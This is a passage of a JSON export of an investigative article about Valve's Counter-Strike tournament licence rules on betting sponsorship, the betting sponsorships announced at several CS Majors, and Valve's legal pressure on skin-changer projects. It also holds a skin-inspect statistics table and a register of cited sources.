independently summed from the author’s published CSVs; CS:GO and CS2 duration encodings differ. [E50] [E51]\n\nThe complete dataset, player files and the data explorer remain in PhishDestroy’s original investigation. Open the original Major investigation ↗\n\n02\n\nTHE PUBLIC CLAIM AGAINST THE LICENSE\n\nWhich gambling business? Forbidden from when?\n\nValve’s March 2026 response presents a broad prohibition on gambling-related tournament participation and sponsorship. The publicly available licence contains a more specific boundary. Before the 08 DEC 2025 §2.4(e) obligation, the same licence permitted betting operators conditionally under §2.4(d) — the question “what was before the ban” has a documented answer in Valve’s own licence history. [E14]\n\n§2.4(d) / BETTING ADVERTISING\nConditional permission.\n\nBetting sponsorship messages are acceptable with a licence valid for the targeted territories, or a foreign licence explicitly permitted there. Official-language feeds without geoblocking also determine targeting.\n\n§2.4(e) / GAME ECONOMY\nA separate prohibition.\n\nThe licence excludes sponsorship dependent on Valve’s game economies or violating its agreements, including case-opening, skin-trading and inventory-related businesses.\n\nThese clauses cannot be described as a single ban on all betting businesses. Read the two provisions together ↗\n\n08 DEC 2025 · 23:03:20 UTC\nA dated rule change—not a retroactive explanation.\n\nValve’s Git commit 8594dc0 records the addition of an express §2.4(e) obligation for ranked and unranked tournament operators. This is a dated change to the Tournament Operation Requirements. The underlying licence version and each event’s application deadline belong beside it. [E54]\n\nThe applicable TOR version is tied to each event’s Additional Information deadline. Valve and each organiser hold the dated licence, the event deadline and any exception granted; Valve should publish them so its March 2026 broad-prohibition claim can be tested against the contracts it actually approved. [E70]\n\nANNOUNCED SPONSORS / DATED RULESRead both lanes together\n202120222023202420252026\n\nANNOUNCED COMMERCIAL RELATIONSHIPS\n\nGG.BETStockholmPGL Major\nGG.BETAntwerpPGL Major\nUnikrnParisBLAST Major\n1xBet / GG.BETCopenhagen Major / BLAST Premier\nPGL × 1xBetAnnounced term: 2025–2026A two-year betting partnership\n\nDOCUMENTED POLICY RECORDS\n\n08 DEC 2025\n\nTOR adds the §2.4(e) obligation.\n\nMAR 2026\n\nValve states a broad gambling-sponsorship prohibition.\n\nThe announced betting partnership spans the rule-change period. The legal question is which sponsor category each rule covers and when that rule applies—not whether every betting business was prohibited. [E53][E54][E55][E56][E57][E58][E59]\n\nThe organisers sold the integrations publicly.\n\nThe table records the announced sponsor relationship and its surface. A team booth, an event contract and a series partnership are separate arrangements.\n\n2021Sweden\nStockholm Major\nGG.BET\n\nExclusive betting partnership, confirmed retrospectively in PGL’s 4 April 2022 announcement. [E55]\n\n04 APR 2022Belgium\nAntwerp Major\nGG.BET\n\nPGL announces broadcast support, live odds and bookmaker offers; also covers the Bucharest RMR. [E55]\n\n29 MAR 2023France\nParis Major\nUnikrn\n\nBLAST announces a global partnership including the Major, with broadcast integration and event branding. [E56]\n\n02 MAY 2023France · team relationship\nG2 / Paris Major activation\nCSGORoll\n\nOperator announces jersey branding and a slot-machine-themed activation at G2’s Major booth. [E29]\n\n22 JAN 2024Includes London & Copenhagen\nBLAST Premier season\nGG.BET\n\nBroadcast betting odds, predictions and physical/digital branding. This series deal is distinct from a Major contract. [E58]\n\n01 FEB 2024Denmark\nCopenhagen Major\n1xBet\n\nPGL names its betting partner for the first CS2 Major and describes media and financial support. [E57]\n\n12 FEB 2025First event: Cluj-Napoca, Romania\nPGL / 2025–2026 partnership\n1xBet\n\nPGL announces a two-year global betting partnership, advertising placements and broadcast rights. [E59]\n\nWhat the European venues must disclose\n\nFor Stockholm, Antwerp, Paris and Copenhagen, Valve, PGL and BLAST hold the sponsor’s contracting entity, the dated event licence, each broadcast language and target territory, and the applicable national advertising permissions. They should publish those records together with the licence versions Valve enforced. The dated announcements are themselves the primary record of each sponsorship; the licence conditions behind them are held by Valve and the organisers, not by this page. Whether related brands share contracting entities or beneficial owners is a record PGL, BLAST and the bookmakers hold; they should disclose it with each announced partnership.\n\nThe announcements establish commercial integration around the tournaments. They do not disclose Valve’s approval of each agreement. That approval and supervision trail is exactly the record this investigation calls for.\n\nPGL’s historical press URLs currently redirect to its news index. The cited releases and dates were retrieved from indexed copies of PGL’s own announcements on 10 October 2026. BLAST’s 2024 page separately corroborates GG.BET’s Stockholm and Antwerp partnerships.\n\nTHE QUESTION FOR VALVE\n\nPublish the boundary you actually enforced. Which sponsorships were permitted, refused or ended; who reviewed them; under which dated clause; in which territories? The account-ban total answers none of these questions.\n\n03\n\nTHE ENFORCEMENT OF APPEARANCE\n\nOptional to purchase. Actively protected from substitution.\nJUL 2015 → JAN 2016\nValve’s own rule reaches private-only appearance.\n\nIts server guidelines prohibit simulated unowned items, expressly including appearances visible only to the player. Valve records permanent GSLT restrictions in January 2016 for noncompliant server operators. [E60]\n\n“Yes. Regardless of who can see the items, mods should not generate/simulate items that are not owned by a player.”\n\nValve’s answer to question 2 about visibility in server mods.\n\n01 SEP 2026 / LETTER DATE\nA legal demand names the skins themselves.\n\nThe published, redacted letter bears Melling, Voitishkin & Partners’ name and says it represents Valve. It asserts rights in software, trademarks and the appearance of weapons, knives and gloves, demanding cessation and warning of compensation claims and referral to law enforcement. [E62]\n\nTouch Skins’ own website states that it received a demand from Valve’s representatives in Russia and decided to close its site and software. The redacted letter hides the addressee; the project’s statement separately establishes the closure. [E61]\n\nThe record consists of the published pre-litigation demand and the recipient project’s account of closing its site and software. Together, they document the legal pressure used to protect control over cosmetic appearance.\n\nTHE ECONOMIC CHOICE\n\nValve treats access to appearance as something worth enforcing. That choice belongs beside its claim that cosmetic items impose no gameplay disadvantage. A person unable to afford a coveted look can still face the boundary protecting its exclusivity.\n\nTHE DISTINCTION\n\nTouch Skins is one documented case, not the whole record. A server-side cosmetic substitution (a mod showing an unowned skin to one player) and a client intervention changing what the game itself renders are different acts with different legal weight — Valve answers the first with a GSLT ban and the second with a lawyer’s letter. Publish every demand letter sent to skinchanger services, every closure, and the distinction Valve itself applies between the two.\n\nRETURN TO THE ENFORCEMENT CASECommercial for the platform. A violation for the user.Account restrictions, opaque reasons and the right to a review ↗\nTHE LETTER / 1 SEPTEMBER 2026Appearance is valuable enough to enforce.\n\nThe archived image names weapons, knives and gloves in the demand. It threatens compensation proceedings and referral to law enforcement. Valve’s representatives assert commercial control over the appearance that its public defence calls cosmetic.\n\nPublished redacted image credited by KOD.RU to Gabe Follower / X. Original image restored from the supplied archive, unchanged.\n\nOpen the original letter at full size ↗\n05\n\nTHE PUBLIC RECORD\n\nInspect the evidence.\n18 RECORDS\n\nSources cited in this article appear first. Select “All records” to inspect the complete 107-record register shared by the investigation; the dedicated evidence files retain their own detailed registers.\n\nResearch method and source status\n\nReviewed 10 October 2026. Major percentages are recalculated from the author’s published CSVs, with both event and player denominators retained. Sponsor entries identify the announcing organisation and date. Legal correspondence is attributed to the published copy and the project’s separate statement.\n\nMeasured inspect use, commercial interpretation, announced sponsorship and enforcement outcomes are distinguished at the point of each finding. The complete twelve-case series and the original seven-Major investigation remain available through the navigation.\n\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nMeasured inspect use, commercial interpretation, announced sponsorship and enforcement outcomes are distinguished at the point of each finding. The original seven-page investigation and its evidence files remain available through the navigation.\n\nOpen this passage in the complete original edition →\nCited source records\nE50 · Seven-Major inspect totals — event CSV\n\nPublisher: PhishDestroy / Major demo analysis\n\nDate: Retrieved 10 Oct 2026\n\nSupports: 491 maps, 280 series, 960,770 inspect records; 948,232 skinned records.\n\nScope: Event totals independently summed. CS:GO and CS2 duration encodings differ.\n\nhttps://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv\nE51 · 559 player–Major inspect records — CSV\n\nPublisher: PhishDestroy / Major demo analysis\n\nDate: Retrieved 10 Oct 2026\n\nSupports: 557 records with a skinned inspect, two default-only; grouped by event.\n\nScope: Player nickname within an event, not unique people or complete owned inventories.\n\nhttps://phishdestroy.io/steam_dossier/major_skins_assets/reports/05_players_all.csv\nE52 · DreamHack 2013 — item sales and Major prize funding\n\nPublisher: Valve / Counter-Strike\n\nDate: 16 Sep 2013\n\nSupports: Valve connects in-game item revenue to the $250,000 tournament prize pool.\n\nScope: Historical Valve announcement connecting item sales to Major prize funding.\n\nhttps://blog.counter-strike.net/2013/09/7614/\nE38 · People of New York v. Valve Corporation — filed complaint\n\nPublisher: New York Attorney General / NYSCEF\n\nDate: 25 Feb 2026\n\nSupports: Court, filing date, index 450952/2026, allegations, statutory bases and requested remedies.\n\nScope: NYSCEF document 2; 52-page court-stamped complaint. Requested relief appears on PDF pages 50–51.\n\nhttps://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf\nE49 · The Major showcase — skins, stars & demand\n\nPublisher: PhishDestroy\n\nDate: 2021–2025 sample · reviewed 10 Oct 2026\n\nSupports: Research scope, inspect-input method, separate glove and loadout-price analyses.\n\nScope: The derived calculation uses E50–E51. Inspect activity is not measured broadcast exposure.\n\nhttps://phishdestroy.io/steam_dossier/major_skins/\nE14 · About the New York Attorney General lawsuit against Valve\n\nPublisher: Valve\n\nDate: 11 Mar 2026\n\nSupports: The public collectibles comparison, optional and cosmetic framing, transferability argument, account-ban total, privacy objections and legislative position.\n\nScope: Corporate public response dated 11 March 2026; linked alongside the filed complaint and the investigation’s analysis.\n\nhttps://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5\nE53 · Limited Game Tournament License — §2.4(d)–(e)\n\nPublisher: Valve\n\nDate: Current text · reviewed 10 Oct 2026\n\nSupports: Conditional betting advertising and separate exclusions for game-economy sponsors.\n\nScope: The live page has no public version date; older contracts need their applicable text.\n\nhttps://store.steampowered.com/tourney/limited_license\nE54 · Commit 8594dc0 — tournament sponsorship requirement\n\nPublisher: ValveSoftware / GitHub\n\nDate: 08 Dec 2025 · 23:03:20 UTC\n\nSupports: Addition requiring ranked and unranked operators to follow licence §2.4(e).\n\nScope: Dates the TOR change, not the licence clause’s first publication. Verified against GitHub commit API.\n\nhttps://github.com/ValveSoftware/counter-strike_rules_and_regs/commit/8594dc0cc8f8cd9ea9564af46e453fc673246cbd\nE70 · Tournament Operation Requirements — applicable version\n\nPublisher: ValveSoftware / GitHub\n\nDate: Current text · reviewed 10 Oct 2026\n\nSupports: Applicable TOR version is tied to the Additional Information deadline.\n\nScope: Check the dated requirements and licence for each event; a single universal commencement date is not established.\n\nhttps://github.com/ValveSoftware/counter-strike_rules_and_regs/blob/main/tournament-operation-requirements.md\nE55 · GG.BET / Antwerp 2022 and Stockholm 2021\n\nPublisher: PGL\n\nDate: 04 Apr 2022\n\nSupports: PGL’s announced betting partnership and broadcast integrations; retrospective Stockholm confirmation.\n\nScope: Indexed primary release retrieved 10 Oct 2026. Historical URL now redirects to the news index; E58 corroborates both Majors.\n\nhttps://press.pglesports.com/184398-ggbet-is-now-the-exclusive-betting-partner-of-pgl-major-antwerp-2022from-april-4-to-10-ggbet-will-be-offering-10-no-deposit-cashback-to-celebrate-the-announcement-of-this-partnership\nE56 · BLAST announces Unikrn partnership including Paris Major\n\nPublisher: BLAST / Cision\n\nDate: 29 Mar 2023\n\nSupports: Announced event and series integrations, branding and viewer activities.\n\nScope: The tournament organiser’s dated sponsorship announcement, naming its own agreement.\n\nhttps://news.cision.com/blast/r/blast-partners-with-esports-and-video-games-betting-platform-unikrn,c3743069\nE57 · 1xBet / PGL Copenhagen Major 2024\n\nPublisher: PGL\n\nDate: 01 Feb 2024\n\nSupports: PGL names the Major’s betting partner and media/financial support.\n\nScope: Indexed primary release retrieved 10 Oct 2026; historical URL now redirects to the news index.\n\nhttps://press.pglesports.com/289168-1xbet-is-the-official-betting-partner-of-the-pgl-cs2-copenhagen-major-2024\nE58 · GG.BET / BLAST Premier 2024\n\nPublisher: BLAST\n\nDate: 22 Jan 2024\n\nSupports: Live odds, predictions and branding; also confirms prior Stockholm and Antwerp partnerships.\n\nScope: The 2024 agreement is identified by its publisher as a BLAST Premier partnership.\n\nhttps://blast.tv/article/blast-partners-with-ggbet\nE59 · 1xBet / PGL 2025–2026 partnership\n\nPublisher: PGL\n\nDate: 12 Feb 2025\n\nSupports: Two-year global betting partnership, broadcast rights and advertising placements.\n\nScope: Indexed primary release retrieved 10 Oct 2026; historical URL now redirects to the news index.\n\nhttps://press.pglesports.com/381187-1xbet-becomes-an-official-partner-of-pgl\nE29 · CSGORoll x G2 — collaboration announcement\n\nPublisher: CSGORoll\n\nDate: 2 May 2023\n\nSupports: The announced esports partnership, jersey branding and a CSGORoll-inspired slot machine at the G2 Major booth.\n\nScope: Historical announcement describing the May 2023 collaboration.\n\nhttps://www.csgoroll.com/blog/csgoroll-g2-collaboration/\nE60 · Game Server Operation Guidelines — cosmetic simulation\n\nPublisher: Valve / Counter-Strike\n\nDate: July 2015 request / January 2016 action\n\nSupports: FAQ 2 covers player-only visibility; records permanent server-token restrictions.\n\nScope: Valve server-mod guidelines, including simulated unowned appearances visible only to the player.\n\nhttps://blog.counter-strike.net/server_guidelines/\nE62 · Valve representation — cosmetic and software rights demand\n\nPublisher: Melling, Voitishkin & Partners / published redacted copy\n\nDate: Letter dated 01 Sep 2026\n\nSupports: Visible letter names software, weapon/knife/glove appearances and trademarks; demands cessation and warns of legal action.\n\nScope: Public redacted image reproduced by Kod.ru, credited to Gabe Follower. Addressee hidden; no court ruling established.\n\nhttps://api.kod.ru/content/images/2026/09/Frame-35117.png\nE61 · Project closure statement\n\nPublisher: Touch Skins\n\nDate: September 2026 episode · reviewed 10 Oct 2026\n\nSupports: Project reports a demand from Valve’s Russian representatives and its decision to close.\n\nScope: First-person project statement; the current page does not print a publication date.\n\nhttps://touchskins.io/",
        "headings": [
          {
            "level": 1,
            "text": "Gambling sponsors. Selective boundaries.",
            "anchor": "pd-major-and-sponsors--hero-title",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#hero-title"
          },
          {
            "level": 2,
            "text": "Item sales support the competition.",
            "anchor": "pd-major-and-sponsors--commercial-role-title",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#commercial-role-title"
          },
          {
            "level": 2,
            "text": "Which gambling business? Forbidden from when?",
            "anchor": "pd-major-and-sponsors--sponsors-title",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#sponsors-title"
          },
          {
            "level": 3,
            "text": "Conditional permission.",
            "anchor": "pd-major-and-sponsors--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#sponsors"
          },
          {
            "level": 3,
            "text": "A separate prohibition.",
            "anchor": "pd-major-and-sponsors--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#sponsors"
          },
          {
            "level": 3,
            "text": "A dated rule change—not a retroactive explanation.",
            "anchor": "pd-major-and-sponsors--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#sponsors"
          },
          {
            "level": 3,
            "text": "The organisers sold the integrations publicly.",
            "anchor": "pd-major-and-sponsors--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#sponsors"
          },
          {
            "level": 3,
            "text": "Stockholm Major",
            "anchor": "pd-major-and-sponsors--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#sponsors"
          },
          {
            "level": 3,
            "text": "Antwerp Major",
            "anchor": "pd-major-and-sponsors--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#sponsors"
          },
          {
            "level": 3,
            "text": "Paris Major",
            "anchor": "pd-major-and-sponsors--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#sponsors"
          },
          {
            "level": 3,
            "text": "G2 / Paris Major activation",
            "anchor": "pd-major-and-sponsors--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#sponsors"
          },
          {
            "level": 3,
            "text": "BLAST Premier season",
            "anchor": "pd-major-and-sponsors--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#sponsors"
          },
          {
            "level": 3,
            "text": "Copenhagen Major",
            "anchor": "pd-major-and-sponsors--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#sponsors"
          },
          {
            "level": 3,
            "text": "PGL / 2025–2026 partnership",
            "anchor": "pd-major-and-sponsors--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#sponsors"
          },
          {
            "level": 2,
            "text": "Optional to purchase. Actively protected from substitution.",
            "anchor": "pd-major-and-sponsors--cosmetic-control-title",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#cosmetic-control-title"
          },
          {
            "level": 3,
            "text": "Valve’s own rule reaches private-only appearance.",
            "anchor": "pd-major-and-sponsors--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#cosmetic-control"
          },
          {
            "level": 3,
            "text": "A legal demand names the skins themselves.",
            "anchor": "pd-major-and-sponsors--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#cosmetic-control"
          },
          {
            "level": 2,
            "text": "Inspect the evidence.",
            "anchor": "pd-major-and-sponsors--sources-title",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#sources-title"
          },
          {
            "level": 2,
            "text": "Cited source records",
            "anchor": "pd-major-and-sponsors--cited-sources",
            "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors#sources"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/major-and-sponsors"
          },
          {
            "label": "[E50]",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv"
          },
          {
            "label": "[E51]",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/05_players_all.csv"
          },
          {
            "label": "Read our original Major investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/"
          },
          {
            "label": "Original 11 October edition · complete text →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/major-and-sponsors.html"
          },
          {
            "label": "Open the complete original analysis ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/"
          },
          {
            "label": "[E52]",
            "url": "https://blog.counter-strike.net/2013/09/7614/"
          },
          {
            "label": "[E50]",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv"
          },
          {
            "label": "[E38]",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "Read the original research ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/"
          },
          {
            "label": "[E49]",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/"
          },
          {
            "label": "[E50]",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv"
          },
          {
            "label": "[E51]",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/05_players_all.csv"
          },
          {
            "label": "Open the original Major investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/"
          },
          {
            "label": "[E14]",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "Read the two provisions together ↗",
            "url": "https://store.steampowered.com/tourney/limited_license"
          },
          {
            "label": "[E54]",
            "url": "https://github.com/ValveSoftware/counter-strike_rules_and_regs/commit/8594dc0cc8f8cd9ea9564af46e453fc673246cbd"
          },
          {
            "label": "[E70]",
            "url": "https://github.com/ValveSoftware/counter-strike_rules_and_regs/blob/main/tournament-operation-requirements.md"
          },
          {
            "label": "[E53]",
            "url": "https://store.steampowered.com/tourney/limited_license"
          },
          {
            "label": "[E54]",
            "url": "https://github.com/ValveSoftware/counter-strike_rules_and_regs/commit/8594dc0cc8f8cd9ea9564af46e453fc673246cbd"
          },
          {
            "label": "[E55]",
            "url": "https://press.pglesports.com/184398-ggbet-is-now-the-exclusive-betting-partner-of-pgl-major-antwerp-2022from-april-4-to-10-ggbet-will-be-offering-10-no-deposit-cashback-to-celebrate-the-announcement-of-this-partnership"
          },
          {
            "label": "[E56]",
            "url": "https://news.cision.com/blast/r/blast-partners-with-esports-and-video-games-betting-platform-unikrn,c3743069"
          },
          {
            "label": "[E57]",
            "url": "https://press.pglesports.com/289168-1xbet-is-the-official-betting-partner-of-the-pgl-cs2-copenhagen-major-2024"
          },
          {
            "label": "[E58]",
            "url": "https://blast.tv/article/blast-partners-with-ggbet"
          },
          {
            "label": "[E59]",
            "url": "https://press.pglesports.com/381187-1xbet-becomes-an-official-partner-of-pgl"
          },
          {
            "label": "[E55]",
            "url": "https://press.pglesports.com/184398-ggbet-is-now-the-exclusive-betting-partner-of-pgl-major-antwerp-2022from-april-4-to-10-ggbet-will-be-offering-10-no-deposit-cashback-to-celebrate-the-announcement-of-this-partnership"
          },
          {
            "label": "[E55]",
            "url": "https://press.pglesports.com/184398-ggbet-is-now-the-exclusive-betting-partner-of-pgl-major-antwerp-2022from-april-4-to-10-ggbet-will-be-offering-10-no-deposit-cashback-to-celebrate-the-announcement-of-this-partnership"
          },
          {
            "label": "[E56]",
            "url": "https://news.cision.com/blast/r/blast-partners-with-esports-and-video-games-betting-platform-unikrn,c3743069"
          },
          {
            "label": "[E29]",
            "url": "https://www.csgoroll.com/blog/csgoroll-g2-collaboration/"
          },
          {
            "label": "[E58]",
            "url": "https://blast.tv/article/blast-partners-with-ggbet"
          },
          {
            "label": "[E57]",
            "url": "https://press.pglesports.com/289168-1xbet-is-the-official-betting-partner-of-the-pgl-cs2-copenhagen-major-2024"
          },
          {
            "label": "[E59]",
            "url": "https://press.pglesports.com/381187-1xbet-becomes-an-official-partner-of-pgl"
          },
          {
            "label": "[E60]",
            "url": "https://blog.counter-strike.net/server_guidelines/"
          },
          {
            "label": "[E62]",
            "url": "https://api.kod.ru/content/images/2026/09/Frame-35117.png"
          },
          {
            "label": "[E61]",
            "url": "https://touchskins.io/"
          },
          {
            "label": "RETURN TO THE ENFORCEMENT CASECommercial for the platform. A violation for the user.Account restrictions, opaque reasons and the right to a review ↗",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html#commercial-use"
          },
          {
            "label": "",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/archive-restored-2026-10-11/skinchanger-letter.png"
          },
          {
            "label": "Open the original letter at full size ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/archive-restored-2026-10-11/skinchanger-letter.png"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/major-and-sponsors.html#sources"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/05_players_all.csv",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/05_players_all.csv"
          },
          {
            "label": "https://blog.counter-strike.net/2013/09/7614/",
            "url": "https://blog.counter-strike.net/2013/09/7614/"
          },
          {
            "label": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/major_skins/",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "https://store.steampowered.com/tourney/limited_license",
            "url": "https://store.steampowered.com/tourney/limited_license"
          },
          {
            "label": "https://github.com/ValveSoftware/counter-strike_rules_and_regs/commit/8594dc0cc8f8cd9ea9564af46e453fc673246cbd",
            "url": "https://github.com/ValveSoftware/counter-strike_rules_and_regs/commit/8594dc0cc8f8cd9ea9564af46e453fc673246cbd"
          },
          {
            "label": "https://github.com/ValveSoftware/counter-strike_rules_and_regs/blob/main/tournament-operation-requirements.md",
            "url": "https://github.com/ValveSoftware/counter-strike_rules_and_regs/blob/main/tournament-operation-requirements.md"
          },
          {
            "label": "https://press.pglesports.com/184398-ggbet-is-now-the-exclusive-betting-partner-of-pgl-major-antwerp-2022from-april-4-to-10-ggbet-will-be-offering-10-no-deposit-cashback-to-celebrate-the-announcement-of-this-partnership",
            "url": "https://press.pglesports.com/184398-ggbet-is-now-the-exclusive-betting-partner-of-pgl-major-antwerp-2022from-april-4-to-10-ggbet-will-be-offering-10-no-deposit-cashback-to-celebrate-the-announcement-of-this-partnership"
          },
          {
            "label": "https://news.cision.com/blast/r/blast-partners-with-esports-and-video-games-betting-platform-unikrn,c3743069",
            "url": "https://news.cision.com/blast/r/blast-partners-with-esports-and-video-games-betting-platform-unikrn,c3743069"
          },
          {
            "label": "https://press.pglesports.com/289168-1xbet-is-the-official-betting-partner-of-the-pgl-cs2-copenhagen-major-2024",
            "url": "https://press.pglesports.com/289168-1xbet-is-the-official-betting-partner-of-the-pgl-cs2-copenhagen-major-2024"
          },
          {
            "label": "https://blast.tv/article/blast-partners-with-ggbet",
            "url": "https://blast.tv/article/blast-partners-with-ggbet"
          },
          {
            "label": "https://press.pglesports.com/381187-1xbet-becomes-an-official-partner-of-pgl",
            "url": "https://press.pglesports.com/381187-1xbet-becomes-an-official-partner-of-pgl"
          },
          {
            "label": "https://www.csgoroll.com/blog/csgoroll-g2-collaboration/",
            "url": "https://www.csgoroll.com/blog/csgoroll-g2-collaboration/"
          },
          {
            "label": "https://blog.counter-strike.net/server_guidelines/",
            "url": "https://blog.counter-strike.net/server_guidelines/"
          },
          {
            "label": "https://api.kod.ru/content/images/2026/09/Frame-35117.png",
            "url": "https://api.kod.ru/content/images/2026/09/Frame-35117.png"
          },
          {
            "label": "https://touchskins.io/",
            "url": "https://touchskins.io/"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "Skinned versus total weapon-inspect records per Major, with the player–Major record count",
            "rows": [
              [
                "Major",
                "Skinned / total inspect records",
                "Share"
              ],
              [
                "Stockholm",
                "101,221 / 102,683",
                "98.58%"
              ],
              [
                "Antwerp",
                "105,494 / 106,006",
                "99.52%"
              ],
              [
                "Rio",
                "134,474 / 136,221",
                "98.72%"
              ],
              [
                "Paris",
                "104,496 / 106,224",
                "98.37%"
              ],
              [
                "Copenhagen",
                "154,139 / 155,740",
                "98.97%"
              ],
              [
                "Shanghai",
                "155,810 / 160,544",
                "97.05%"
              ],
              [
                "Austin",
                "192,598 / 193,352",
                "99.61%"
              ],
              [
                "Seven-Major total",
                "948,232 / 960,770",
                "98.70%"
              ],
              [
                "Player–Major records",
                "557 / 559",
                "two default-only (0.36%)"
              ]
            ]
          }
        ],
        "cited_source_ids": [
          "E50",
          "E51",
          "E52",
          "E38",
          "E49",
          "E14",
          "E53",
          "E54",
          "E70",
          "E55",
          "E56",
          "E57",
          "E58",
          "E59",
          "E29",
          "E60",
          "E62",
          "E61"
        ]
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv",
          "sha256": "b22fada53521050f448c7a9f0fe11ce54ed86a972ff6f40c613716e8c7c50f73",
          "bytes": 746
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/05_players_all.csv",
          "sha256": "87160fe27c8a00ac8211c7b7ed70a758befb0aba28d800773b5042a9cd9a06f4",
          "bytes": 33840
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "major_skins",
      "language": "en",
      "title": "The Major showcase — Skins, stars & demand | The Steam Dossier",
      "author": "Agent Simon",
      "source_url": "https://phishdestroy.io/steam_dossier/major_skins/",
      "source_file": "steam_dossier/major_skins.html",
      "source_html_sha256": "33ca3f6afd121d32e7513fe5d9231a096892748a9c6429a60b083e26e4597339",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [
          {
            "kind": "interactive_collection",
            "label": "Open the video examples and timestamps online.",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/#clip-picker"
          },
          {
            "kind": "interactive_collection",
            "label": "Explore the player files and their source data online.",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/#player-file"
          }
        ],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "major_skins.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/major_skins.pdf",
        "sha256": "a9d111de075146c28cae872e5d36d3f6c45272166dc3cab5624665b45b206e6c",
        "bytes": 1669069,
        "pages": 53
      },
      "integrity": {
        "signed_object": "major_skins.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/major_skins.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/major_skins.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
